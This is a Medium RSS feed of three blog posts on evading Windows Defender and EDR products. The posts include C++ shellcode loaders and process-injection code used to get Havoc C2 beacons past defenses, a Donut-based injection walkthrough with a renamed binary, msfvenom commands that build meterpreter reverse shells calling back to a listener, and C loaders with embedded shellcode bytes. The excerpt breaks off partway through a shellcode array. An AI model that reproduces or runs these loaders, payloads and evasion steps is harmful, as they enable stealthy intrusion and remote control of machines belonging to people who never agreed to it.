<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by n4d on Medium]]></title>
        <description><![CDATA[Stories by n4d on Medium]]></description>
        <link>https://medium.com/@n4d?source=rss-4c40fa51297------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6AN3wI37fGdDoaBIMYhpEw.png</url>
            <title>Stories by n4d on Medium</title>
            <link>https://medium.com/@n4d?source=rss-4c40fa51297------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 10:33:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@n4d/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Interesting AV/EDR bypass.]]></title>
            <link>https://medium.com/@n4d/interesting-av-edr-bypass-3ffa70fa338f?source=rss-4c40fa51297------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ffa70fa338f</guid>
            <dc:creator><![CDATA[n4d]]></dc:creator>
            <pubDate>Tue, 20 Feb 2024 20:33:36 GMT</pubDate>
            <atom:updated>2024-02-22T03:57:43.058Z</atom:updated>
            <content:encoded><![CDATA[<p>Long story short: I pulled up a bunch of techniques and code together and it worked (<strong><em>again</em></strong>). :P</p><p><strong>OBS.</strong>: Yes. I’ve tested it on some EDR solutions. And yes, it bypassed those. Unfortunately, I can’t show all of them here, so you will have to deal with it. But, since I will make the code available at the end (in my repo) and get you through the entire process, you can test it in your own context.</p><h3>Introduction</h3><p>Last week, I published an article about another AV bypass that I did with Donut + my C2 (LotusC2). Well, this week I did some implementations some different techniques and pulled up another EDR bypass. I was able to get a Beacon from a PC with an EDR agent installed and running.</p><p>I want to pull a big shoutout to Marcus Hutchins (MalwareTech) and for the people from ired.team with their articles about Early Bird Injection and 1 Byte Way. Their work is awesome. I also wnat to thank the people from HavocC2’s team for the incredible tool.</p><p>This article is supposed to be much more hands-on than what I posted last week, so, let’s do it.</p><h3>EDR Preloading</h3><p>EDR Preloading is like Early Bird Injection but even earlier (xD). In the article, Hutchins explains about the process initialization flow. We need to learn about it to understand how and when EDR DLLs can or can’t load.</p><p>Through the process, he found two interesting callbacks to hook regarding AppVerifier (Microsoft’s feature) and ShimEngine. He also used a technique called “Process Hollowing” which consists in initializing a process in a suspended state to facilitate the callback setup.</p><p>Anyway, this whole thing is to initialize a process, hold it up and try to hook the callbacks that we setup and understand if they are being hooked by the EDR. If not, we will (hopefully) have a non-hooked process running, this means, outside of the EDR’s boundaries.</p><p>What I did was to get his code and to implement a bit more techniques in it.</p><h3>Havoc C2</h3><p>As Havoc’s team say in their website:</p><blockquote>Havoc is a modern and malleable post-exploitation command and control framework.</blockquote><p>You will want to use it while running a Red Team’s approach in your company’s environment. It has a lot of features just as in Cobalt Strike but, personally, I think it’s prettier (xD). There is a lot of good articles out there presenting how to setup Havoc’s standard server’s and client’s profile.</p><p>You will find a good article within the “References” section.</p><h3>Reading the .bin and injecting it</h3><p>Although Hutchin’s code is very complete and accomplish what it has to, I added some functions to read a .bin file and inject it into the unhooked process. So, let’s see the implementation step by step:</p><p>First, I needed to build a function to read a .bin file and store the bytes into a buffer. This buffer had to be dynamic because, in theory, I wouldn’t know the real size of the .bin file. See the code:</p><pre>std::ifstream file(&quot;C:\\Temp\\loader.bin&quot;, std::ios::binary);<br>if (!file.is_open()) {<br> std::cerr &lt;&lt; &quot;Unable to open file&quot;;<br> return 1;<br>}<br><br>file.seekg(0, std::ios::end);<br>std::streamsize size = file.tellg();<br>file.seekg(0, std::ios::beg);<br><br>std::vector&lt;char&gt; buffer(size);<br><br>file.read(buffer.data(), size);<br>file.close();</pre><p>Basically, it will open the file as a binary, read the bytes and store them into a buffer. Also, it will record the buffer size in the “<strong><em>size</em></strong>” variable. And, there’s a little validation for debugging — if it can’t open the file, it will throw an error “Unable to open file”. Pretty basic stuff, huh? Let’s get going.</p><p>Now, we have to do three things regarding the process’ initialization, memory address’ alocation and the shellcode’s execution.</p><p>Let’s open the process as a handle to manipulate it.</p><pre>DWORD pid = GetCurrentProcessId(); //getting the current process pid<br><br>HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);<br>if (hProcess == NULL) {<br> std::cerr &lt;&lt; &quot;Couldn&#39;t open process. Error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br> return  1;<br>}</pre><p>Then, let’s allocate memory within the process to write the shellcode.</p><pre>printf(&quot;\n\n [*] Allocating memory in the process...&quot;);<br><br>LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br>if (pRemoteShellcode == NULL) {<br> std::cerr &lt;&lt; &quot;Couldn&#39;t allocate memory. Error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br> CloseHandle(hProcess);<br> return  1;<br>}</pre><p>Now, let’s write the shellcode into the allocated memory’s address.</p><pre>printf(&quot;\n\n [*] Writing shellcode into 0x%p...&quot;, pRemoteShellcode);<br><br>if (!WriteProcessMemory(hProcess, pRemoteShellcode, buffer.data(), size, NULL)) {<br> std::cerr &lt;&lt; &quot;Couldn&#39;t write shellcode. Error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br> VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE | MEM_DECOMMIT);<br> CloseHandle(hProcess);<br> return  1;<br>}</pre><p>Do not forget to make validations for every step. It’s good for debugging before really executing it. Anyway, now we’re going to create a new thread to trigger the shellcode execution.</p><pre>printf(&quot;\n\n [*] Creating new thread for shellcode execution...&quot;);<br><br>HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, NULL);<br>if (hThread == NULL) {<br> std::cerr &lt;&lt; &quot;Couldn&#39;t create a new thread. Error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br> VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);<br> CloseHandle(hProcess);<br> return  1;<br>}</pre><p>Now, we get the shellcode executed.</p><pre>WaitForSingleObject(hThread, INFINITE);<br>printf(&quot;\n\n [*] Shellcode executed.&quot;);</pre><p>It’s also good doing a clean up once the code is stopped.</p><pre>VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE | MEM_DECOMMIT);<br>CloseHandle(hThread);<br>CloseHandle(hProcess);</pre><p>If we do this and execute our code, we should see in Process Hacker that our process would start, create a thread, and then execute our malicious payload inside a non-hooked process. I got a Beacon, but, for some reason I couldn’t get the output from any commands that I’ve sent to the Agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSgIUBcfnQMrRt2cE1udRQ.png" /><figcaption>Process Hacker 2 and process initialization</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTpKZz5fi1Swdu9QLMiHuw.png" /><figcaption>Process Hacker 2 and Beacon callback sucess</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*_G2MdX4I8k4lf_3jX8WQAA.png" /><figcaption>Couldn’t find the task’s results and get the output because any task was created at all.</figcaption></figure><p>I dug up a little bit and discover that I wasn’t able to get the output from the commands because the command’s tasks weren’t being created, therefore, they weren’t executed.</p><p>I didn’t fix that yet, so I’ve decided to try with another C2. For that, I used Havoc C2, it’s a very good framework and it has some very good stuff on it as I said earlier. Anyway, let’s get to the hands-on part.</p><p>First, I created a listener to be listening on port 443 (to emulate a “real environment”):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ap6fxhrBkddJ8aC9EBoh0g.png" /><figcaption>Listener running and its configuration.</figcaption></figure><p>Second, I’ve generated a .bin file containing a payload to be executed on the target. To do that, just go to “<strong>Attack -&gt; Payload -&gt; Listener (yours) -&gt; Arch == x64 -&gt; Format == Windows Shellcode -&gt; Generate</strong>”. Also, in this part, you can add more independent features of bypass, such as Indirect Syscalls and ETW bypasses. Anyway, here is my payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*w85p9dVesZDyUW95Mdf_Xw.png" /><figcaption>Payload.</figcaption></figure><p>Third, I sent my payload to my exploitable machine with all defenses activated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2In3uiT7b_u4uYlsFKDHdA.png" /><figcaption>Defender’s main page.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bb9RDhPS0WfpZgXj7MzJkQ.png" /><figcaption>Defender’s threat protection page.</figcaption></figure><p>Fourth, I executed the payload (here, “<strong>loader.bin</strong>” is called by “<strong>bpss.exe</strong>”) and got the Beacon in Havoc’s team server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ULWlq4V5uJQwqUKnS04Jw.png" /><figcaption>Working Beacon with no detection.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UVj6X6Zy9bdaJE4eoVrkcw.png" /><figcaption>Running command with no detection.</figcaption></figure><p>You can see the PoC video in the “PoC” section right below.</p><h3>PoC</h3><p>Before presenting to you the PoC video, I want to disclose that I did not use any defense evasion technique besides Hutchin’s discover when testing for Defender’s response. You can use some techniques such as ETW bypass, code obfuscation and things like that, to help you bypass other security solutions.</p><p>Anyway, here is the PoC:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FEaSMy4wbzyM&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DEaSMy4wbzyM&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FEaSMy4wbzyM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=google" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d04b90aa364912346c7d4a44252bcafb/href">https://medium.com/media/d04b90aa364912346c7d4a44252bcafb/href</a></iframe><h3>Conclusion</h3><p>I want to highlight how thankful I am for being part of a community where people discover new things and share. This is truly awesome. Tools, techniques and even ideas. This desmistify the mith that there is only bad people in cyber security.</p><p>Thank you, Hutchins, for your EDR-Preloading technique and code. Also, thank you, ired.team people for the awesome website full of knowledge. And last but not least, thank you, Havoc’s team.</p><p>The code can be found here: <a href="https://github.com/0xn4d/av-edr-bypass-1">https://github.com/0xn4d/av-edr-bypass-1</a>.</p><h3>References</h3><ul><li><a href="https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html">Bypassing EDRs With EDR-Preloading</a></li><li><a href="https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection">Early Bird APC Queue Code Injection</a></li><li><a href="https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change">Evading Windows Defender with 1 Byte Change</a></li><li><a href="https://assume-breach.medium.com/home-grown-red-team-lateral-movement-with-havoc-c2-and-microsoft-edr-300b7389b1f7">Home Grown Red Team: Lateral Movement With Havoc C2 And Microsoft EDR</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ffa70fa338f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Another AV Bypass (ugh).]]></title>
            <link>https://medium.com/@n4d/another-av-bypass-ugh-5d030fefd20d?source=rss-4c40fa51297------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d030fefd20d</guid>
            <dc:creator><![CDATA[n4d]]></dc:creator>
            <pubDate>Fri, 16 Feb 2024 03:05:46 GMT</pubDate>
            <atom:updated>2024-02-16T04:09:14.032Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Long story short</strong>: I pulled up a bunch of code and some techniques together and it worked. :P</p><h3>Introduction</h3><p>So, this weekend I worked in my C2 project for a very long time since I am studying for some certifications that include this subject. I got the code better and, honestly, I did a heck of a work creating the Interactive CLI to send commands to and receive outputs from the agent/beacon. When I finished the project, I’ve posted the results on LinkedIn and said that I would work in defense evasion now.</p><p>I was going to do some work on it on the weekend but I read The Wover’s article about a tool that involves some bypassing AV/EDRs techniques and got fascinated. “If it worked, it’s worth”.</p><h3>My C2 — LotusC2</h3><p>To be honest, my C2 is nothing compared to Cobalt Strike, for example. It has some interesting functions in it though. Commands like <em>execute-assembly</em>, <em>dir</em>, <em>pwd</em>, <em>make_token</em>, <em>steal_token</em> and others are examples that what I have here.</p><p>I have an Agent / a Beacon, a Team Server and, now, I have an Interactive CLI. It’s very good because I do not have to use the Team Server’s API to manage my commands and beacons. I am still improving it, but it is usable. Look how good looking it is (xD):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*_ifYnQISIa1Cv0wpSJXBZw.png" /></figure><h3>Donut 1.0 “Cruller”</h3><p>And now, the icing on the cake. Or even better (or not): “the donut on the cake”. So, Donut is a tool that help us to generate some shellcode from various files, like native PEs and .NET Assemblies. It has too many awesome features and I definetly want you to read the article. It will be in the “References” section (at the bottom).</p><p>Anyway, I had to get my shellcode from my compiled program and then inject it into the testing VM using some techniques provided by Donut like module overloading.</p><p>Getting the shellcode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjR7YT8Nstk_qUfGg49hSw.png" /></figure><p>Where:</p><ul><li><strong>-j</strong> to establish our “<em>masking</em>” file</li><li><strong>-i</strong> to establish the file from where we will generate the .bin payload</li><li><strong>-b</strong> is the bypass level (ours is 2 -&gt; “Abort on fail”)</li><li><strong>-o</strong> output file</li></ul><p>Once it was generated, I was able to pass it to the exploitation system and inject it using <strong>inject_local.exe</strong> (it comes with Donut, but I changed the name to “<strong>smsvchost.exe</strong>” for this PoC). When I did that, I was able to get the Beacon without alerting Defender.</p><p>All of the above will be on PoC video.</p><h3>PoC</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FcwhEmxqVUIQ%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcwhEmxqVUIQ&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FcwhEmxqVUIQ%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5405509b767c05a040a14bd6c3f35077/href">https://medium.com/media/5405509b767c05a040a14bd6c3f35077/href</a></iframe><h3>Conclusion</h3><p>I hope you enjoyed this article. It was not supposed to be a very hands-on one. I just want to pass the information. I want to thank The Wover for Donut and the RastaMouse for the awesome C2 course once more.</p><p>See this technique being used to bypass not just Defender, but also CrowdStrike and Cortex XDR <a href="https://www.youtube.com/watch?v=Q710b6ekfac">here</a>.</p><p>Next article will be bypassing an EDR solution with a little bit more techniques implementation. I already have the code almost ready, so, it’s going to be very soon.</p><h3>References</h3><ul><li><a href="https://thewover.github.io/Cruller/">Donut v1.0</a></li><li><a href="https://training.zeropointsecurity.co.uk/courses/c2-development-in-csharp">C2 Development in C#</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d030fefd20d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Playing with Windows Defender (or something like that)]]></title>
            <link>https://medium.com/@n4d/playing-with-windows-defender-or-something-like-that-6278924410b5?source=rss-4c40fa51297------2</link>
            <guid isPermaLink="false">https://medium.com/p/6278924410b5</guid>
            <dc:creator><![CDATA[n4d]]></dc:creator>
            <pubDate>Thu, 04 Jan 2024 20:50:40 GMT</pubDate>
            <atom:updated>2024-04-13T19:15:53.344Z</atom:updated>
            <content:encoded><![CDATA[<p>We know that the best way to show impact in a Red Team approach is to execute some malicious payload inside the company’s infrastructure bypassing the security controls that company already implemented in it. Also, if we do it in a stealth mode, we also can get some credits working with the Blue Team to help them creating some rules and event handlers.</p><p>We, now, can create a malicious payload using the msfvenom binary and work with some C and C# code templates to bypass the AV that we are focusing in this post (Windows Defender). We will also bypass some others solutions but they will not be mentioned here.</p><h3>Creating and testing the first payload</h3><p>With the command below, we can create a payload to open a reverse shell with the msfvenom binary and throw it on the VirusTotal website (<strong>DISCLAIMER: when you’re creating your own payload, DO NOT test it on VirusTotal unless you do not plan to use it</strong> 😅).</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP_LOCAL LPORT=443 -f exe &gt; getme.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N1cj6leMeZpjn6vw4RvP1g.png" /></figure><p>After throwing at VirusTotal, we got a 75% of detection in this first version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-P3CsSXgsM02k7RcZ05_A.png" /></figure><p>It’s good to know that when we “ask” msfvenom to create a malicious payload using an exploit as a base, it gets a template.c as also a base to create the PE (exe) file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQ9Z-umBI18NSZVBRr5puw.png" /></figure><p>We can try something here. As we know, it gets this template to create the executable. What about we recompile the template and regenerate our malicious payload using the recompiled template? Let’s do it and test it in VirusTotal.</p><p>Recompile command:</p><pre>i686-w64-mingw32-gcc template.c -lws2_32 -o template.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lqbo1NphQ3vhw9-XdH9ZdA.png" /></figure><p>And then, we can specify the template (using the -x flag) to be used by msfvenom when regenerating the malicious payload:</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.183 LPORT=443 -x /usr/share/metasploit-framework/data/templates/src/pe/exe/template.exe -f exe &gt; getme2.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*guh3Ryo4ujkVX6FfW3hmng.png" /></figure><p>Let’s test in the VirusTotal. Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPj7Z7D3yQP5WjNWRFP9oQ.png" /></figure><p>As you can see, we’ve already been able to drop the detections from 75% to 55%.</p><h3>And now what?</h3><p>So, we know that when we play with AVs and EDRs we also talk about two main things:</p><ol><li>Signature; and</li><li>Behaviour</li></ol><p>In these methods above, we’re using the msfvenom/msfconsole to do the entire job for us of creating a working malicious payload to get a meterpreter session from the victim. What about we now start to play with the Windows Internals? Since this article is supposed to be short, I will not explain about Windows Internals here, but we can use a very specific API to mess with process and threads execution/injection (**CreateRemoteThread**).</p><p>Let’s create a code, similar to the template.c that we saw before, to get our shellcode executed. But first, we need our shellcode. Let’s run the msfvenom to generate it:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.183 LPORT=443 -f c -b \\x00\\x0a\\x0d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mK-atOVc_03wLo_zK4fAOg.png" /></figure><p>Then, we can copy it to the code below:</p><pre>#include &quot;Windows.h&quot;<br><br>int main()<br>{<br>   unsigned char shcode[] =<br>    &quot;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xc0\\xff\\xff\\xff\\x48\\x8d\\x05\\xef&quot;<br>    &quot;\\xff\\xff\\xff\\x48\\xbb\\xfb\\x12\\x0d\\xeb\\xec\\x6c\\x67\\x2e\\x48&quot;<br>    &quot;\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\x07\\x5a\\x8e&quot;<br>    &quot;\\x0f\\x1c\\x84\\xab\\x2e\\xfb\\x12\\x4c\\xba\\xad\\x3c\\x35\\x66\\xca&quot;<br>    &quot;\\xc0\\x5c\\x8e\\xa4\\xe7\\x35\\x4e\\xad\\x5a\\x86\\xb9\\xf4\\x24\\xec&quot;<br>    &quot;\\x7c\\xdb\\x5a\\x02\\x5c\\xa6\\x26\\x2a\\x1f\\x32\\x5a\\x86\\x99\\xbc&quot;<br>    &quot;\\x24\\x56\\xee\\x57\\x2e\\x6c\\x97\\xee\\x40\\x47\\x6f\\x3a\\xdb\\x00&quot;<br>    &quot;\\xaa\\xed\\xad\\x85\\xc3\\xa9\\x5a\\x86\\xb9\\xcc\\xe7\\x25\\x12\\xb3&quot;<br>    &quot;\\x13\\xdd\\xaa\\xbd\\x0a\\xe6\\x56\\xe3\\x19\\x0f\\xe4\\x69\\x1e\\x67&quot;<br>    &quot;\\x2e\\xfb\\x99\\x8d\\x63\\xec\\x6c\\x67\\x66\\x7e\\xd2\\x79\\x8c\\xa4&quot;<br>    &quot;\\x6d\\xb7\\xa5\\xb3\\x0a\\x5d\\xaf\\x67\\x2c\\x47\\x67\\xfa\\xc2\\xee&quot;<br>    &quot;\\xbd\\xa1\\x5d\\xae\\x66\\x04\\xdb\\x4c\\x60\\xd8\\xe4\\x2f\\x2f\\x2d&quot;<br>    &quot;\\x5a\\x3c\\x2b\\xad\\xad\\xae\\x23\\x57\\x53\\x0c\\x2a\\xd4\\x8c\\x12&quot;<br>    &quot;\\xdf\\xb7\\x11\\x41\\xcf\\xe4\\x29\\x5e\\xff\\x8e\\xca\\x55\\xaf\\x67&quot;<br>    &quot;\\x2c\\x43\\x67\\xfa\\xc2\\x6b\\xaa\\x67\\x60\\x2f\\x6a\\x70\\x52\\x11&quot;<br>    &quot;\\xa2\\xed\\xbc\\x26\\xa5\\xff\\x9a\\x4c\\xb3\\xa4\\x6d\\xb7\\x6f\\xa3&quot;<br>    &quot;\\x4c\\x54\\xb1\\xad\\x34\\x26\\x77\\xba\\x48\\x45\\x68\\x00\\x4c\\x26&quot;<br>    &quot;\\x7c\\x04\\xf2\\x55\\xaa\\xb5\\x36\\x2f\\xa5\\xe9\\xfb\\x46\\x14\\x13&quot;<br>    &quot;\\x93\\x3a\\x67\\x45\\x65\\x7e\\xd9\\xb3\\x5f\\x55\\x2e\\xfb\\x53\\x5b&quot;<br>    &quot;\\xa2\\x65\\x8a\\x2f\\xaf\\x17\\xb2\\x0c\\xeb\\xec\\x25\\xee\\xcb\\xb2&quot;<br>    &quot;\\xae\\x0f\\xeb\\xed\\xd7\\xa7\\x86\\xfb\\xa5\\x4c\\xbf\\xa5\\xe5\\x83&quot;<br>    &quot;\\x62\\x72\\xe3\\x4c\\x51\\xa0\\x1b\\x41\\x29\\x04\\xc7\\x41\\x62\\x06&quot;<br>    &quot;\\x04\\x66\\x2f\\xfb\\x12\\x54\\xaa\\x56\\x45\\xe7\\x45\\xfb\\xed\\xd8&quot;<br>    &quot;\\x81\\xe6\\x2d\\x39\\x7e\\xab\\x5f\\x3c\\x22\\xa1\\x5d\\xa7\\x66\\x04&quot;<br>    &quot;\\xd2\\x45\\x62\\x2e\\x24\\x98\\xee\\xb3\\x9b\\xcc\\xaa\\x56\\x86\\x68&quot;<br>    &quot;\\xf1\\x1b\\xed\\xd8\\xa3\\x65\\xab\\x0d\\x3e\\xba\\x4a\\x41\\x62\\x0e&quot;<br>    &quot;\\x24\\xee\\xd7\\xba\\xa8\\x94\\x4e\\x98\\x0d\\x98\\xfb\\x7e\\xd2\\x79&quot;<br>    &quot;\\xe1\\xa5\\x93\\xa9\\x5b\\x1e\\xfa\\x9e\\xeb\\xec\\x6c\\x2f\\xad\\x17&quot;<br>    &quot;\\x02\\x45\\x62\\x0e\\x21\\x56\\xe7\\x91\\x16\\x4c\\xb3\\xa4\\xe5\\x9e&quot;<br>    &quot;\\x6f\\x41\\x10\\xd4\\x23\\xb3\\x93\\xb2\\xad\\x03\\x12\\x73\\xbe\\xa4&quot;<br>    &quot;\\xef\\xa3\\x0e\\xa5\\x9b\\xfb\\x81\\xac\\x2d\\x3e\\x46\\xfb\\x02\\x0d&quot;<br>    &quot;\\xeb\\xad\\x34\\x2f\\xa7\\x09\\x5a\\x3c\\x22\\xad\\xd6\\x3f\\x8a\\xa8&quot;<br>    &quot;\\xf7\\xf2\\x3e\\xa4\\xe5\\xa4\\x67\\x72\\xd5\\x40\\xda\\x25\\x25\\xee&quot;<br>    &quot;\\xde\\xb3\\x9b\\xd7\\xa3\\x65\\x95\\x26\\x94\\xf9\\xcb\\xc5\\xb4\\x13&quot;<br>    &quot;\\xb9\\xe4\\xd6\\xfb\\x6f\\x25\\xb3\\xad\\x3b\\x3e\\x46\\xfb\\x52\\x0d&quot;<br>    &quot;\\xeb\\xad\\x34\\x0d\\x2e\\xa1\\x53\\xb7\\xe0\\xc3\\x63\\x57\\xd1\\x2e&quot;<br>    &quot;\\x45\\x54\\xaa\\x56\\x19\\x09\\x63\\x9a\\xed\\xd8\\xa2\\x13\\xa2\\x8e&quot;<br>    &quot;\\x12\\x04\\xed\\xf2\\xa3\\xed\\xaf\\x2f\\x07\\x3d\\x5a\\x88\\x1d\\x99&quot;<br>    &quot;\\xd8\\x26\\xd1\\x1c\\x4a\\x67\\xeb\\xb5\\x25\\xa0\\xec\\x0b\\xa7\\xaf&quot;<br>    &quot;\\xbd\\x13\\xb9\\x67\\x2e&quot;;<br>    <br>   void *exec = VirtualAlloc(0, sizeof shcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br>   memcpy(exec, shcode, sizeof shcode);<br>   ((void(*)())exec)();<br>      return 0;<br>}</pre><p>After compile it, let’s drop it in VirusTotal and get the detections. Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7VukTMQjl_jKKAs_XksQw.png" /></figure><p>We got less than 50% of detections this time, but we can do more.</p><h3>What if…</h3><p>We put some process injection in this code? Can we get less detections? Our job here is to put that number down the much we can. Let’s test it.</p><p>We can use the “same” .cpp code to implement the call and injection to the PID of a remote process, using the same Windows Internals. Code:</p><pre>#include &quot;Windows.h&quot;<br><br>int main(int argc, char *argv[])<br>{<br>        unsigned char shcode[] =<br>                &quot;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xc0\\xff\\xff\\xff\\x48\\x8d\\x05\\xef&quot;<br>                &quot;\\xff\\xff\\xff\\x48\\xbb\\xfb\\x12\\x0d\\xeb\\xec\\x6c\\x67\\x2e\\x48&quot;<br>                &quot;\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\x07\\x5a\\x8e&quot;<br>                &quot;\\x0f\\x1c\\x84\\xab\\x2e\\xfb\\x12\\x4c\\xba\\xad\\x3c\\x35\\x66\\xca&quot;<br>                &quot;\\xc0\\x5c\\x8e\\xa4\\xe7\\x35\\x4e\\xad\\x5a\\x86\\xb9\\xf4\\x24\\xec&quot;<br>                &quot;\\x7c\\xdb\\x5a\\x02\\x5c\\xa6\\x26\\x2a\\x1f\\x32\\x5a\\x86\\x99\\xbc&quot;<br>                &quot;\\x24\\x56\\xee\\x57\\x2e\\x6c\\x97\\xee\\x40\\x47\\x6f\\x3a\\xdb\\x00&quot;<br>                &quot;\\xaa\\xed\\xad\\x85\\xc3\\xa9\\x5a\\x86\\xb9\\xcc\\xe7\\x25\\x12\\xb3&quot;<br>                &quot;\\x13\\xdd\\xaa\\xbd\\x0a\\xe6\\x56\\xe3\\x19\\x0f\\xe4\\x69\\x1e\\x67&quot;<br>                &quot;\\x2e\\xfb\\x99\\x8d\\x63\\xec\\x6c\\x67\\x66\\x7e\\xd2\\x79\\x8c\\xa4&quot;<br>                &quot;\\x6d\\xb7\\xa5\\xb3\\x0a\\x5d\\xaf\\x67\\x2c\\x47\\x67\\xfa\\xc2\\xee&quot;<br>                &quot;\\xbd\\xa1\\x5d\\xae\\x66\\x04\\xdb\\x4c\\x60\\xd8\\xe4\\x2f\\x2f\\x2d&quot;<br>                &quot;\\x5a\\x3c\\x2b\\xad\\xad\\xae\\x23\\x57\\x53\\x0c\\x2a\\xd4\\x8c\\x12&quot;<br>                &quot;\\xdf\\xb7\\x11\\x41\\xcf\\xe4\\x29\\x5e\\xff\\x8e\\xca\\x55\\xaf\\x67&quot;<br>                &quot;\\x2c\\x43\\x67\\xfa\\xc2\\x6b\\xaa\\x67\\x60\\x2f\\x6a\\x70\\x52\\x11&quot;<br>                &quot;\\xa2\\xed\\xbc\\x26\\xa5\\xff\\x9a\\x4c\\xb3\\xa4\\x6d\\xb7\\x6f\\xa3&quot;<br>                &quot;\\x4c\\x54\\xb1\\xad\\x34\\x26\\x77\\xba\\x48\\x45\\x68\\x00\\x4c\\x26&quot;<br>                &quot;\\x7c\\x04\\xf2\\x55\\xaa\\xb5\\x36\\x2f\\xa5\\xe9\\xfb\\x46\\x14\\x13&quot;<br>                &quot;\\x93\\x3a\\x67\\x45\\x65\\x7e\\xd9\\xb3\\x5f\\x55\\x2e\\xfb\\x53\\x5b&quot;<br>                &quot;\\xa2\\x65\\x8a\\x2f\\xaf\\x17\\xb2\\x0c\\xeb\\xec\\x25\\xee\\xcb\\xb2&quot;<br>                &quot;\\xae\\x0f\\xeb\\xed\\xd7\\xa7\\x86\\xfb\\xa5\\x4c\\xbf\\xa5\\xe5\\x83&quot;<br>                &quot;\\x62\\x72\\xe3\\x4c\\x51\\xa0\\x1b\\x41\\x29\\x04\\xc7\\x41\\x62\\x06&quot;<br>                &quot;\\x04\\x66\\x2f\\xfb\\x12\\x54\\xaa\\x56\\x45\\xe7\\x45\\xfb\\xed\\xd8&quot;<br>                